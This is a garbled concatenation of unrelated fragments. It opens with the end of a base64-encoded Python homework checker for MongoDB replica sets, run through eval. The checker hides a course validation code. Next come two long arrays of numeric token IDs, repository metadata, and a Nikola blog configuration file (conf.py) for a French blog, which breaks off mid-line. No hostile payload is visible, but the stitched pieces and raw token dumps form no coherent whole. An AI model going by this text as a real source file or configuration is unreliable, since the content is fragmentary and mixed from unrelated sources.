V0dXJuIEZhbHNlCiAgICAKICAgIHByaW50ICJMb29rcyBnb29kLiBSZXBsaWNhIHNldCB3aXRoIHRocmVlIG5vZGVzIHJ1bm5pbmciCiAgICByZXR1cm4gVHJ1ZQoKZGVmIGdyYWNlZnVsX2V4aXQoaSk6CiAgICBjb25uZWN0aW9uLmNsb3NlKCkKICAgIHN5cy5leGl0KGkpCgojIG1haW4gc2VjdGlvbiBvZiB0aGUgY29kZQpkZWYgbWFpbihhcmd2KToKICAgICAgICAgICAgCiAgICBhcmdfcGFyc2luZyhhcmd2KQogICAgZ2xvYmFsIGNvbm5lY3Rpb24KICAgIGdsb2JhbCBkYgoKICAgIHByaW50ICJXZWxjb21lIHRvIHRoZSBIVyA2LnggcmVwbGljYSBDaGVja2VyLiBNeSBqb2IgaXMgdG8gbWFrZS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ZvciBIVyA2LjUuIFlvdXIgSFcgNi41IHZhbGlkYXRpb24gY29kZSBpcyBranZqa2wzMjkwbWYwbTIwZjJramp2IgogICAgZ3JhY2VmdWxfZXhpdCgwKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oc3lzLmFyZ3ZbMTpdKQoKCgoKCgoK" eval(compile(base64.b64decode(code), "<string>", 'exec'))
mit
[ 646, 1300, 772, 199, 600, 628, 35, 757, 3641, 39, 25, 24503, 9956, 1129, 55, 17, 18708, 1064, 86, 35, 757, 3641, 39, 25, 24503, 35, 2175, 20207, 21, 7862, 1165, 43, 19098, 17, 6603, 19, 42, 16, 19824, 31182, 35, 757, 3641, 39, 25, 24503, 9956, 23670, 22313, 3317, 5466, 43, 19098, 17, 6603, 19, 42, 16, 19824, 46, 21, 15346, 802, 66, 20806, 86, 6413, 49, 71, 58, 18, 54, 16, 66, 19, 34, 16, 35, 757, 3641, 39, 25, 24503, 9956, 13683, 22313, 3317, 78, 49, 18504, 73, 45, 71, 49, 1398, 1129, 56, 42, 80, 58, 18, 72, 16, 28904, 87, 5747, 41, 16944, 89, 28000, 26255, 5030, 4492, 23596, 8745, 21, 74, 44, 1939, 74, 4332, 38, 17, 28929, 72, 6737, 743, 71, 49, 55, 21, 75, 4400, 54, 19, 4332, 54, 28564, 17541, 3387, 23084, 86, 4492, 5676, 1277, 38, 81, 58, 21659, 88, 26255, 5030, 4492, 21, 26257, 1165, 16944, 2027, 74, 4332, 14344, 19824, 6371, 68, 12463, 72, 4400, 53, 71, 57, 12463, 23670, 16566, 75, 14324, 1400, 1277, 19590, 58, 35, 2175, 14324, 38, 7351, 55, 21, 78, 19824, 3863, 65, 13901, 71, 57, 1398, 75, 58, 10941, 7136, 16566, 89, 4492, 17975, 57, 3705, 82, 1277, 21, 86, 8161, 23596, 57, 25489, 887, 19, 31182, 28665, 45, 7136, 39, 15544, 4332, 17, 18708, 1064, 86, 907, 27061, 58, 1398, 75, 1480, 34, 20176, 16239, 16, 58, 12463, 21, 66, 19, 53, 85, 35, 4927, 26257, 821, 30127, 3705, 16, 19098, 25, 85, 998, 16, 71, 52, 77, 25, 30127, 49, 2051, 21001, 33, 25, 4332, 21, 86, 12648, 26667, 66, 55, 25, 30127, 1398, 23670, 11183, 71, 48, 4251, 1892, 55, 25, 30127, 1398, 75, 57, 743, 86, 44, 18, 25466, 57, 18, 38, 2231, 39, 25, 23670, 2585, 89, 46, 6353, 88, 22781, 41, 43, 26074, 42, 4675, 77, 38, 84, 58, 4251, 25, 948, 42, 72, 26074, 17, 3317, 73, 41, 43, 6413, 46, 4675, 77, 38, 84, 58, 4251, 25, 948, 42, 84, 5747, 28000, 41, 1939, 16944, 89, 34, 16, 65, 17541, 90, 19824, 46, 22760, 757, 2989, 9956, 19, 19098, 7977, 1277, 1944, 58, 3705, 82, 19824, 3863, 16936, 49, 71, 20238, 2175, 15473, 34, 2231, 3705, 72, 19824, 46, 1447, 9956, 19, 65, 56, 3863, 41, 14784, 679, 25489, 76, 1277, 21, 86, 58, 14876, 90, 1277, 28997, 19824, 42, 17, 12648, 21, 3317, 5466, 4908, 1194, 71, 20238, 22593, 19, 46, 16, 35, 1939, 74, 3203, 18708, 55, 17, 72, 12648, 49, 4908, 39, 10836, 58, 12463, 72, 4400, 67, 9493, 17395, 29874, 18, 10836, 58, 89, 34, 16, 991, 31412, 20207, 5019, 1277, 58, 18708, 39, 3903, 1277, 12156, 67, 25262, 21, 19824, 1117, 991, 34, 19, 20207, 1400, 41, 14784, 86, 19824, 42, 17, 4492, 34, 7952, 9956, 5842, 821, 4994, 18, 29426, 57, 78, 45, 4908, 19, 41, 4908, 55, 25, 30127, 1398, 679, 25064, 74, 19824, 3863, 65, 13901, 71, 26713, 32308, 57, 19, 50, 3317, 821, 90, 41, 16566, 90, 58, 13901, 71, 58, 18, 25466, 57, 77, 19239, 19824, 12674, 6413, 45, 7136, 39, 24, 71, 57, 1398, 5842, 56, 54, 1458, 3705, 7952, 17188, 85, 1277, 58, 86, 1760, 80, 6428, 53, 4908, 55, 53, 85, 25939, 50, 76, 58, 17587, 72, 1760, 3003, 17395, 29874, 18, 10836, 58, 89, 12156, 1760, 18, 43, 1378, 18504, 73, 5676, 948, 34, 4994, 39, 25, 73, 20207, 87, 7136, 18, 2201, 65, 39, 25, 23670, 33, 974, 25934, 58, 18, 25466, 57, 77, 19239, 1277, 17, 18708, 1064, 6737, 19, 50, 89, 28665, 5676, 948, 34, 4994, 39, 25, 73, 20207, 23596, 26074, 42, 4675, 77, 38, 84, 58, 25064, 43, 25934, 41, 14784, 8048, 1378, 43, 25934, 25934, 948, 34, 6737, 14784, 90, 7027, 34, 72, 1760, 90, 998, 16, 71, 58, 18, 54, 16, 66, 19, 34, 16, 44, 1064, 1447, 39, 25, 2989, 1049, 72, 1760, 18, 44, 3263, 73, 44, 56, 33, 22, 20145, 1690, 20145, 49, 22, 41, 3258, 43, 25934, 1277, 54, 20, 57, 18, 54, 2989, 9956, 78, 58, 12297, 6737, 40, 2371, 50, 18, 54, 16, 66, 19, 34, 16, 15361, 16608, 66, 19, 41, 22, 28665, 5676, 25934, 25934, 67, 22313, 3317, 78, 49, 71, 607, 54, 90, 20207, 5030, 19824, 12674, 66, 17541, 75, 57, 12297, 76, 8940, 34, 21, 948, 17, 84, 1277, 17, 18708, 1064, 86, 49, 1398, 456, 25489, 17694, 4963, 16, 67, 757, 30127, 89, 41, 43, 25934, 25934, 948, 34, 13683, 757, 1181, 3263, 73, 56, 14784, 5842, 821, 4994, 16, 46, 86, 12648, 21, 76, 57, 19, 50, 3317, 821, 52, 68, 22313, 3317, 5466, 71, 58, 14876, 77, 16936, 54, 3893, 9956, 16, 991, 34, 23, 30668, 16, 73, 23041, 58, 86, 4400, 17, 7952, 35, 517, 66, 821, 4994, 19, 46, 16, 559, 75, 43, 25934, 25934, 948, 34, 13683, 757, 1181, 3263, 73, 56, 14784, 75, 57, 12297, 72, 57, 77, 38, 90, 58, 53, 21, 16168, 55, 53, 71, 58, 14876, 77, 16936, 54, 3893, 27699, 7136, 39, 24, 303, 90, 34, 25, 31105, 21, 887, 19, 42, 84, 16936, 25064, 26074, 42, 4675, 77, 38, 84, 58, 14194, 43, 25934, 25934, 948, 34, 806, 13901, 85, 15473, 72, 8961, 35, 4312, 24817, 974, 25934, 26467, 25, 89, 1277, 25, 2989, 35, 23596, 16936, 42, 78, 1277, 10836, 1277, 25, 2989, 27699, 22, 28665, 5676, 25934, 948, 33, 5294, 55, 57, 71, 14634, 25, 2989, 3263, 25, 5067, 2493, 20145, 784, 43, 1378, 43, 25934, 25934, 25934, 25934, 67, 22313, 3317, 78, 49, 71, 607, 54, 90, 20207, 5030, 19824, 12674, 66, 17541, 75, 57, 12297, 76, 8940, 34, 21, 948, 17, 84, 1277, 17, 18708, 1064, 86, 49, 1398, 456, 25489, 17694, 4963, 16, 67, 757, 30127, 89, 1271, 58, 9956, 75, 57, 12297, 72, 57, 77, 38, 90, 58, 53, 21, 16168, 55, 18203, 28665, 5676, 25934, 25934, 25934, 19824, 46, 21, 1480, 21, 274, 17541, 16, 43, 1914, 80, 28665, 5676, 25934, 25934, 14324, 9290, 58, 17587, 6737, 27497, 5294, 55, 20, 71, 43, 3553, 5842, 2684, 80, 47, 71, 974, 25934, 25934, 25934, 948, 34, 5842, 821, 4994 ]
[ 1300, 772, 199, 600, 628, 35, 757, 3641, 39, 25, 24503, 9956, 1129, 55, 17, 18708, 1064, 86, 35, 757, 3641, 39, 25, 24503, 35, 2175, 20207, 21, 7862, 1165, 43, 19098, 17, 6603, 19, 42, 16, 19824, 31182, 35, 757, 3641, 39, 25, 24503, 9956, 23670, 22313, 3317, 5466, 43, 19098, 17, 6603, 19, 42, 16, 19824, 46, 21, 15346, 802, 66, 20806, 86, 6413, 49, 71, 58, 18, 54, 16, 66, 19, 34, 16, 35, 757, 3641, 39, 25, 24503, 9956, 13683, 22313, 3317, 78, 49, 18504, 73, 45, 71, 49, 1398, 1129, 56, 42, 80, 58, 18, 72, 16, 28904, 87, 5747, 41, 16944, 89, 28000, 26255, 5030, 4492, 23596, 8745, 21, 74, 44, 1939, 74, 4332, 38, 17, 28929, 72, 6737, 743, 71, 49, 55, 21, 75, 4400, 54, 19, 4332, 54, 28564, 17541, 3387, 23084, 86, 4492, 5676, 1277, 38, 81, 58, 21659, 88, 26255, 5030, 4492, 21, 26257, 1165, 16944, 2027, 74, 4332, 14344, 19824, 6371, 68, 12463, 72, 4400, 53, 71, 57, 12463, 23670, 16566, 75, 14324, 1400, 1277, 19590, 58, 35, 2175, 14324, 38, 7351, 55, 21, 78, 19824, 3863, 65, 13901, 71, 57, 1398, 75, 58, 10941, 7136, 16566, 89, 4492, 17975, 57, 3705, 82, 1277, 21, 86, 8161, 23596, 57, 25489, 887, 19, 31182, 28665, 45, 7136, 39, 15544, 4332, 17, 18708, 1064, 86, 907, 27061, 58, 1398, 75, 1480, 34, 20176, 16239, 16, 58, 12463, 21, 66, 19, 53, 85, 35, 4927, 26257, 821, 30127, 3705, 16, 19098, 25, 85, 998, 16, 71, 52, 77, 25, 30127, 49, 2051, 21001, 33, 25, 4332, 21, 86, 12648, 26667, 66, 55, 25, 30127, 1398, 23670, 11183, 71, 48, 4251, 1892, 55, 25, 30127, 1398, 75, 57, 743, 86, 44, 18, 25466, 57, 18, 38, 2231, 39, 25, 23670, 2585, 89, 46, 6353, 88, 22781, 41, 43, 26074, 42, 4675, 77, 38, 84, 58, 4251, 25, 948, 42, 72, 26074, 17, 3317, 73, 41, 43, 6413, 46, 4675, 77, 38, 84, 58, 4251, 25, 948, 42, 84, 5747, 28000, 41, 1939, 16944, 89, 34, 16, 65, 17541, 90, 19824, 46, 22760, 757, 2989, 9956, 19, 19098, 7977, 1277, 1944, 58, 3705, 82, 19824, 3863, 16936, 49, 71, 20238, 2175, 15473, 34, 2231, 3705, 72, 19824, 46, 1447, 9956, 19, 65, 56, 3863, 41, 14784, 679, 25489, 76, 1277, 21, 86, 58, 14876, 90, 1277, 28997, 19824, 42, 17, 12648, 21, 3317, 5466, 4908, 1194, 71, 20238, 22593, 19, 46, 16, 35, 1939, 74, 3203, 18708, 55, 17, 72, 12648, 49, 4908, 39, 10836, 58, 12463, 72, 4400, 67, 9493, 17395, 29874, 18, 10836, 58, 89, 34, 16, 991, 31412, 20207, 5019, 1277, 58, 18708, 39, 3903, 1277, 12156, 67, 25262, 21, 19824, 1117, 991, 34, 19, 20207, 1400, 41, 14784, 86, 19824, 42, 17, 4492, 34, 7952, 9956, 5842, 821, 4994, 18, 29426, 57, 78, 45, 4908, 19, 41, 4908, 55, 25, 30127, 1398, 679, 25064, 74, 19824, 3863, 65, 13901, 71, 26713, 32308, 57, 19, 50, 3317, 821, 90, 41, 16566, 90, 58, 13901, 71, 58, 18, 25466, 57, 77, 19239, 19824, 12674, 6413, 45, 7136, 39, 24, 71, 57, 1398, 5842, 56, 54, 1458, 3705, 7952, 17188, 85, 1277, 58, 86, 1760, 80, 6428, 53, 4908, 55, 53, 85, 25939, 50, 76, 58, 17587, 72, 1760, 3003, 17395, 29874, 18, 10836, 58, 89, 12156, 1760, 18, 43, 1378, 18504, 73, 5676, 948, 34, 4994, 39, 25, 73, 20207, 87, 7136, 18, 2201, 65, 39, 25, 23670, 33, 974, 25934, 58, 18, 25466, 57, 77, 19239, 1277, 17, 18708, 1064, 6737, 19, 50, 89, 28665, 5676, 948, 34, 4994, 39, 25, 73, 20207, 23596, 26074, 42, 4675, 77, 38, 84, 58, 25064, 43, 25934, 41, 14784, 8048, 1378, 43, 25934, 25934, 948, 34, 6737, 14784, 90, 7027, 34, 72, 1760, 90, 998, 16, 71, 58, 18, 54, 16, 66, 19, 34, 16, 44, 1064, 1447, 39, 25, 2989, 1049, 72, 1760, 18, 44, 3263, 73, 44, 56, 33, 22, 20145, 1690, 20145, 49, 22, 41, 3258, 43, 25934, 1277, 54, 20, 57, 18, 54, 2989, 9956, 78, 58, 12297, 6737, 40, 2371, 50, 18, 54, 16, 66, 19, 34, 16, 15361, 16608, 66, 19, 41, 22, 28665, 5676, 25934, 25934, 67, 22313, 3317, 78, 49, 71, 607, 54, 90, 20207, 5030, 19824, 12674, 66, 17541, 75, 57, 12297, 76, 8940, 34, 21, 948, 17, 84, 1277, 17, 18708, 1064, 86, 49, 1398, 456, 25489, 17694, 4963, 16, 67, 757, 30127, 89, 41, 43, 25934, 25934, 948, 34, 13683, 757, 1181, 3263, 73, 56, 14784, 5842, 821, 4994, 16, 46, 86, 12648, 21, 76, 57, 19, 50, 3317, 821, 52, 68, 22313, 3317, 5466, 71, 58, 14876, 77, 16936, 54, 3893, 9956, 16, 991, 34, 23, 30668, 16, 73, 23041, 58, 86, 4400, 17, 7952, 35, 517, 66, 821, 4994, 19, 46, 16, 559, 75, 43, 25934, 25934, 948, 34, 13683, 757, 1181, 3263, 73, 56, 14784, 75, 57, 12297, 72, 57, 77, 38, 90, 58, 53, 21, 16168, 55, 53, 71, 58, 14876, 77, 16936, 54, 3893, 27699, 7136, 39, 24, 303, 90, 34, 25, 31105, 21, 887, 19, 42, 84, 16936, 25064, 26074, 42, 4675, 77, 38, 84, 58, 14194, 43, 25934, 25934, 948, 34, 806, 13901, 85, 15473, 72, 8961, 35, 4312, 24817, 974, 25934, 26467, 25, 89, 1277, 25, 2989, 35, 23596, 16936, 42, 78, 1277, 10836, 1277, 25, 2989, 27699, 22, 28665, 5676, 25934, 948, 33, 5294, 55, 57, 71, 14634, 25, 2989, 3263, 25, 5067, 2493, 20145, 784, 43, 1378, 43, 25934, 25934, 25934, 25934, 67, 22313, 3317, 78, 49, 71, 607, 54, 90, 20207, 5030, 19824, 12674, 66, 17541, 75, 57, 12297, 76, 8940, 34, 21, 948, 17, 84, 1277, 17, 18708, 1064, 86, 49, 1398, 456, 25489, 17694, 4963, 16, 67, 757, 30127, 89, 1271, 58, 9956, 75, 57, 12297, 72, 57, 77, 38, 90, 58, 53, 21, 16168, 55, 18203, 28665, 5676, 25934, 25934, 25934, 19824, 46, 21, 1480, 21, 274, 17541, 16, 43, 1914, 80, 28665, 5676, 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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
masterdje/wibfi
conf.py
1
22684
# -*- coding: utf-8 -*- from __future__ import unicode_literals import time # Configuration, please edit # Data about this site BLOG_AUTHOR = "Dje" BLOG_TITLE = "Write it before forget it!" # This is the main URL for your site. It will be used # in a prominent link SITE_URL = "http://wibfi.virtua-peanuts.net/" # This is the URL where nikola's output will be deployed. # If not set, defaults to SITE_URL # BASE_URL = "http://getnikola.com/" BLOG_EMAIL = "wibfi@virtua-peanuts.net" BLOG_DESCRIPTION = "Write it before forget it !" # Nikola is multilingual! # # Currently supported languages are: # en English # bg Bulgarian # ca Catalan # zh_cn Chinese (Simplified) # hr Croatian # nl Dutch # fr French # el Greek [NOT gr!] # de German # it Italian # jp Japanese # fa Persian # pl Polish # pt_br Portuguese (Brasil) # ru Russian # es Spanish # tr_tr Turkish (Turkey) # # If you want to use Nikola with a non-supported language you have to provide # a module containing the necessary translations # (p.e. look at the modules at: ./nikola/data/themes/default/messages/fr.py). # If a specific post is not translated to a language, then the version # in the default language will be shown instead. #from nikola import filters #FILTERS = { # ".css": [filters.yui_compressor], #".js": [filters.yui_compressor], #} # What is the default language? DEFAULT_LANG = "fr" LOCALES = {'fr': 'fr_FR.utf8', 'en': 'en_US.utf8'} # What other languages do you have? # The format is {"translationcode" : "path/to/translation" } # the path will be used as a prefix for the generated pages location TRANSLATIONS = { DEFAULT_LANG: "", # Example for another language: "en": "./en", } TRANSLATIONS_PATTERN = "{path}.{ext}.{lang}" # Links for the sidebar / navigation bar. # You should provide a key-value pair for each used language. NAVIGATION_LINKS = { DEFAULT_LANG: ( ('/stories/cheatsheets.html', "Cheat-Sheets"), ('/stories/what-s-next.html', "What's next"), ('/archive.html', 'Archives'), ('/categories/index.html', 'Tags'), ('/rss.xml', 'RSS'), ), "en": ( ('/en/stories/cheatsheets.html', "Cheat-Sheets"), ('/en/stories/what-s-next.html', "What's next"), ('/en/archive.html', 'Archives'), ('/en/categories/index.html', 'Tags'), ('/en/rss.xml', 'RSS'), ), } # Below this point, everything is optional # POSTS and PAGES contains (wildcard, destination, template) tuples. # # The wildcard is used to generate a list of reSt source files # (whatever/thing.txt). # # That fragment could have an associated metadata file (whatever/thing.meta), # and opcionally translated files (example for spanish, with code "es"): # whatever/thing.txt.es and whatever/thing.meta.es # # From those files, a set of HTML fragment files will be generated: # cache/whatever/thing.html (and maybe cache/whatever/thing.html.es) # # These files are combinated with the template to produce rendered # pages, which will be placed at # output / TRANSLATIONS[lang] / destination / pagename.html # # where "pagename" is the "slug" specified in the metadata file. # # The difference between POSTS and PAGES is that POSTS are added # to feeds and are considered part of a blog, while PAGES are # just independent HTML pages. # POSTS = ( ("posts/*.txt", "posts", "post.tmpl"), ("posts/*.rst", "posts", "post.tmpl"), ) PAGES = ( ("stories/*.txt", "stories", "story.tmpl"), ("stories/*.rst", "stories", "story.tmpl"), ) # One or more folders containing files to be copied as-is into the output. # The format is a dictionary of "source" "relative destination". # Default is: FILES_FOLDERS = { 'test': '', 'test': 'posts/','test': 'stories/'} # Which means copy 'files' into 'output' # A mapping of languages to file-extensions that represent that language. # Feel free to add or delete extensions to any list, but don't add any new # compilers unless you write the interface for it yourself. # # 'rest' is reStructuredText # 'markdown' is MarkDown # 'html' assumes the file is html and just copies it COMPILERS = { "rest": ('.rst', '.txt'), "markdown": ('.md', '.mdown', '.markdown'), "textile": ('.textile',), "txt2tags": ('.t2t',), "bbcode": ('.bb',), "wiki": ('.wiki',), "ipynb": ('.ipynb',), "html": ('.html', '.htm'), } # Create by default posts in one file format? # Set to False for two-file posts, with separate metadata. ONE_FILE_POSTS = True # If this is set to True, then posts that are not translated to a language # LANG will not be visible at all in the pages in that language. # If set to False, the DEFAULT_LANG version will be displayed for # untranslated posts. # HIDE_UNTRANSLATED_POSTS = False # Paths for different autogenerated bits. These are combined with the # translation paths. # Final locations are: # output / TRANSLATION[lang] / TAG_PATH / index.html (list of tags) # output / TRANSLATION[lang] / TAG_PATH / tag.html (list of posts for a tag) # output / TRANSLATION[lang] / TAG_PATH / tag.xml (RSS feed for a tag) TAG_PATH = "categories" # If TAG_PAGES_ARE_INDEXES is set to True, each tag's page will contain # the posts themselves. If set to False, it will be just a list of links. # TAG_PAGES_ARE_INDEXES = True # Final location is output / TRANSLATION[lang] / INDEX_PATH / index-*.html # INDEX_PATH = "" # Create per-month archives instead of per-year CREATE_MONTHLY_ARCHIVE = True # Final locations for the archives are: # output / TRANSLATION[lang] / ARCHIVE_PATH / ARCHIVE_FILENAME # output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / index.html # output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / MONTH / index.html # ARCHIVE_PATH = "" # ARCHIVE_FILENAME = "archive.html" # Final locations are: # output / TRANSLATION[lang] / RSS_PATH / rss.xml # RSS_PATH = "" # Number of posts in RSS feeds FEED_LENGTH = 10 # Slug the Tag URL easier for users to type, special characters are # often removed or replaced as well. # SLUG_TAG_PATH = True # A list of redirection tuples, [("foo/from.html", "/bar/to.html")]. # # A HTML file will be created in output/foo/from.html that redirects # to the "/bar/to.html" URL. notice that the "from" side MUST be a # relative URL. # # If you don't need any of these, just set to [] # REDIRECTIONS = [] # Commands to execute to deploy. Can be anything, for example, # you may use rsync: # And then do a backup, or ping pingomatic. # To do manual deployment, set it to [] DEPLOY_COMMANDS = ['lftp -e "mirror --delete-first -R output/ .;exit" u45372881@virtua-peanuts.net/wibfi', 'echo Save ...', 'cd .. ; tar cvjf _save-wibfi_.tgz wibfi/ ; lftp -e "put _save-wibfi_.tgz;exit" u45372881@virtua-peanuts.net/wibfi/backup; cd wibfi'] # Where the output site should be located # If you don't use an absolute path, it will be considered as relative # to the location of conf.py # OUTPUT_FOLDER = 'output' # where the "cache" of partial generated content should be located # default: 'cache' # CACHE_FOLDER = 'cache' # Filters to apply to the output. # A directory where the keys are either: a file extensions, or # a tuple of file extensions. # # And the value is a list of commands to be applied in order. # # Each command must be either: # # A string containing a '%s' which will # be replaced with a filename. The command *must* produce output # in place. # # Or: # # A python callable, which will be called with the filename as # argument. # # By default, there are no filters. # FILTERS = { # ".jpg": ["jpegoptim --strip-all -m75 -v %s"], # } # Create a gzipped copy of each generated file. Cheap server-side optimization. GZIP_FILES = True # File extensions that will be compressed GZIP_EXTENSIONS = ('.txt','.rst', '.htm', '.html', '.css', '.js', '.json') # ############################################################################# # Image Gallery Options # ############################################################################# # Galleries are folders in galleries/ # Final location of galleries will be output / GALLERY_PATH / gallery_name # GALLERY_PATH = "galleries" # THUMBNAIL_SIZE = 180 # MAX_IMAGE_SIZE = 1280 # USE_FILENAME_AS_TITLE = True # ############################################################################# # HTML fragments and diverse things that are used by the templates # ############################################################################# # Data about post-per-page indexes # INDEXES_TITLE = "" # If this is empty, the default is BLOG_TITLE # INDEXES_PAGES = "" # If this is empty, the default is 'old posts page %d' # translated # Name of the theme to use. THEME = "w2" # Color scheme to be used for code blocks. If your theme provides # "assets/css/code.css" this is ignored. # Can be any of autumn borland bw colorful default emacs friendly fruity manni # monokai murphy native pastie perldoc rrt tango trac vim vs CODE_COLOR_SCHEME = 'borland' # If you use 'site-reveal' theme you can select several subthemes # THEME_REVEAL_CONFIG_SUBTHEME = 'sky' # You can also use: beige/serif/simple/night/default # Again, if you use 'site-reveal' theme you can select several transitions # between the slides # THEME_REVEAL_CONFIG_TRANSITION = 'cube' # You can also use: page/concave/linear/none/default # date format used to display post dates. # (str used by datetime.datetime.strftime) # DATE_FORMAT = '%Y-%m-%d %H:%M' # FAVICONS contains (name, file, size) tuples. # Used for create favicon link like this: # <link rel="name" href="file" sizes="size"/> # For creating favicons, take a look at: # http://www.netmagazine.com/features/create-perfect-favicon FAVICONS = { ("icon", "/favicon.ico", "16x16"), ("icon", "/favicon.png", "64x64"), } # Show only teasers in the index pages? Defaults to False. INDEX_TEASERS = True # A HTML fragment with the Read more... link. # The following tags exist and are replaced for you: # {link} A link to the full post page. # {read_more} The string “Read more” in the current language. # {{ A literal { (U+007B LEFT CURLY BRACKET) # }} A literal } (U+007D RIGHT CURLY BRACKET) READ_MORE_LINK = '<p class="more"><a href="{link}">{read_more}…</a></p>' # A HTML fragment describing the license, for the sidebar. LICENSE = '<a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/fr/"><img title="TL;DR" alt="Licence Creative Commons" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/fr/88x31.png" /></a>' # I recommend using the Creative Commons' wizard: # http://creativecommons.org/choose/ # LICENSE = """ # <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/ar/"> # <img alt="Creative Commons License BY-NC-SA" # style="border-width:0; margin-bottom:12px;" # src="http://i.creativecommons.org/l/by-nc-sa/2.5/ar/88x31.png"></a>""" # A small copyright notice for the page footer (in HTML). # Default is '' XITI = """<a href="http://www.xiti.com/xiti.asp?s=538203" title="WebAnalytics" target="_top"> <script type="text/javascript"> <!-- Xt_param = 's=538203&p=index'; try {Xt_r = top.document.referrer;} catch(e) {Xt_r = document.referrer; } Xt_h = new Date(); Xt_i = '<img width="80" height="15" border="0" alt="" '; Xt_i += 'src="http://logv4.xiti.com/g.xiti?'+Xt_param; Xt_i += '&hl='+Xt_h.getHours()+'x'+Xt_h.getMinutes()+'x'+Xt_h.getSeconds(); if(parseFloat(navigator.appVersion)>=4) {Xt_s=screen;Xt_i+='&r='+Xt_s.width+'x'+Xt_s.height+'x'+Xt_s.pixelDepth+'x'+Xt_s.colorDepth;} document.write(Xt_i+'&ref='+Xt_r.replace(/[<>"]/g, '').replace(/&/g, '$')+'" title="Internet Audience">'); //--> </script> <noscript> <img width="80" height="15" src="http://logv4.xiti.com/g.xiti?s=538203&p=index" alt="WebAnalytics" /> </noscript></a>""" CONTENT_FOOTER = '2013 - {date} <a href="mailto:{email}">{author}</a> mais c\'est <a href="http://getnikola.com">Nikola</a> qui propulse. {license} - {xiti}' CONTENT_FOOTER = CONTENT_FOOTER.format(email=BLOG_EMAIL, author=BLOG_AUTHOR, date=time.gmtime().tm_year, license=LICENSE, xiti=XITI) # To use comments, you can choose between different third party comment # systems, one of "disqus", "livefyre", "intensedebate", "moot", # "googleplus" or "facebook" COMMENT_SYSTEM = "disqus" # And you also need to add your COMMENT_SYSTEM_ID which # depends on what comment system you use. The default is # "nikolademo" which is a test account for Disqus. More information # is in the manual. COMMENT_SYSTEM_ID = "wibfi" # Create index.html for story folders? # STORY_INDEX = False # Enable comments on story pages? # COMMENTS_IN_STORIES = False # Enable comments on picture gallery pages? # COMMENTS_IN_GALLERIES = False # What file should be used for directory indexes? # Defaults to index.html # Common other alternatives: default.html for IIS, index.php # INDEX_FILE = "index.html" # If a link ends in /index.html, drop the index.html part. # http://mysite/foo/bar/index.html => http://mysite/foo/bar/ # (Uses the INDEX_FILE setting, so if that is, say, default.html, # it will instead /foo/default.html => /foo) # (Note: This was briefly STRIP_INDEX_HTML in v 5.4.3 and 5.4.4) # Default = False # STRIP_INDEXES = False # Should the sitemap list directories which only include other directories # and no files. # Default to True # If this is False # e.g. /2012 includes only /01, /02, /03, /04, ...: don't add it to the sitemap # if /2012 includes any files (including index.html)... add it to the sitemap # SITEMAP_INCLUDE_FILELESS_DIRS = True # Instead of putting files in <slug>.html, put them in # <slug>/index.html. Also enables STRIP_INDEXES # This can be disabled on a per-page/post basis by adding # .. pretty_url: False # to the metadata # PRETTY_URLS = False # If True, publish future dated posts right away instead of scheduling them. # Defaults to False. # FUTURE_IS_NOW = False # If True, future dated posts are allowed in deployed output # Only the individual posts are published/deployed; not in indexes/sitemap # Generally, you want FUTURE_IS_NOW and DEPLOY_FUTURE to be the same value. # DEPLOY_FUTURE = False # If False, draft posts will not be deployed # DEPLOY_DRAFTS = True # Allows scheduling of posts using the rule specified here (new_post -s) # Specify an iCal Recurrence Rule: http://www.kanzaki.com/docs/ical/rrule.html #SCHEDULE_RULE = 'RRULE:FREQ=DAILY;BYHOUR=12;BYMINUTE=0;BYSECOND=0' # If True, use the scheduling rule to all posts by default SCHEDULE_ALL = False # If True, schedules post to today if possible, even if scheduled hour is over # SCHEDULE_FORCE_TODAY = False # Do you want a add a Mathjax config file? # MATHJAX_CONFIG = "" # If you are using the compile-ipynb plugin, just add this one: #MATHJAX_CONFIG = """ #<script type="text/x-mathjax-config"> #MathJax.Hub.Config({ # tex2jax: { # inlineMath: [ ['$','$'], ["\\\(","\\\)"] ], # displayMath: [ ['$$','$$'], ["\\\[","\\\]"] ] # }, # displayAlign: 'left', // Change this to 'center' to center equations. # "HTML-CSS": { # styles: {'.MathJax_Display': {"margin": 0}} # } #}); #</script> #""" # What MarkDown extensions to enable? # You will also get gist, nikola and podcast because those are # done in the code, hope you don't mind ;-) # MARKDOWN_EXTENSIONS = ['fenced_code', 'codehilite'] # Social buttons. This is sample code for AddThis (which was the default for a # long time). Insert anything you want here, or even make it empty. SOCIAL_BUTTONS_CODE = "" # <!-- Social buttons --> # <div id="addthisbox" class="addthis_toolbox addthis_peekaboo_style addthis_default_style addthis_label_style addthis_32x32_style"> # <a class="addthis_button_more">Share</a> # <ul><li><a class="addthis_button_facebook"></a> # <li><a class="addthis_button_google_plusone_share"></a> # <li><a class="addthis_button_linkedin"></a> # <li><a class="addthis_button_twitter"></a> # </ul> # </div> # <script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-4f7088a56bb93798"></script> # <!-- End of social buttons --> #""" # Hide link to source for the posts? HIDE_SOURCELINK = True # Copy the source files for your pages? # Setting it to False implies HIDE_SOURCELINK = True COPY_SOURCES = False # Modify the number of Post per Index Page # Defaults to 10 INDEX_DISPLAY_POST_COUNT = 10 # RSS_LINK is a HTML fragment to link the RSS or Atom feeds. If set to None, # the base.tmpl will use the feed Nikola generates. However, you may want to # change it for a feedburner feed or something else. # RSS_LINK = None # Show only teasers in the RSS feed? Default to True RSS_TEASERS = True # A search form to search this site, for the sidebar. You can use a google # custom search (http://www.google.com/cse/) # Or a duckduckgo search: https://duckduckgo.com/search_box.html # Default is no search form. # SEARCH_FORM = "" # # This search form works for any site and looks good in the "site" theme where # it appears on the navigation bar: # SEARCH_FORM = """ <!-- Custom search --> <form method="get" id="search" action="http://duckduckgo.com/" class="navbar-form pull-left"> <input type="hidden" name="sites" value="%s"/> <input type="hidden" name="k8" value="#444444"/> <input type="hidden" name="k9" value="#D51920"/> <input type="hidden" name="kt" value="h"/> <input type="text" name="q" maxlength="255" placeholder="DuckDuckGo&hellip;" class="span2 form-control 